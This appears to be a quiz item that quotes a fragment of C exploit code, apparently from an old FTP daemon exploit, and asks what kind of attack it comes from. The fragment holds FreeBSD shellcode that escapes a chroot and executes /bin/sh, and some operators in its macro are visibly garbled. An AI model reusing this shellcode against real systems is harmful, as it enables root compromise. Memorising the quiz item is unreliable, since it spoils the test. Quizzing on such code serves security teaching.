#define
MAKE_STR_FROM_RET(x) ((x)&0xff), (((x)
&0xff00)8), (((x)&0xff0000)16), (((x)
&0xff000000)24) char infin_loop[]= /* for testing
purposes */ “\xEB\xFE”; char bsdcode[] = /*
Lam3rZ chroot() code rewritten for FreeBSD by
venglin */ “\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80
\x31\xdb\x31\xc0\x43” “\x43\x53\x4b\x53\x53
\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0”
“\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01
\x53\x53\xb0” “\x88\xcd\x80\x31\xc0\x8d\x5e\x01
\x53\x53\xb0\x3d\xcd\x80” “\x31\xc0\x31
\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9”
“\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80
\xfe\xc9\x75” “\xf1\x31\xc0\x88\x46\x09
\x8d\x5e\x08\x53\x53\xb0\x3d\xcd” “\x80
\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88
\x46” “\x07\x89\x76\x08\x89\x46\x0c\x89\xf3
\x8d\x4e\x08\x8d\x56” “\x0c\x52\x51\x53\x53\xb0
\x3b\xcd\x80\x31\xc0\x31\xdb\x53” “\x53\xb0
\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\x01
\xff\xff\x30” “\x62\x69\x6e\x30\x73\x68\x31
\x2e\x2e\x31\x31\x76\x65\x6e” “\x67\x6c\x69
\x6e”;static int magic[MAX_MAGIC],magic_d
[MAX_MAGIC]; static char *magic_str=NULL;
int before_len=0; char *target=NULL,
*username=”user”, *password=NULL; struct
targets getit;

The following exploit code is extracted from what kind of attack?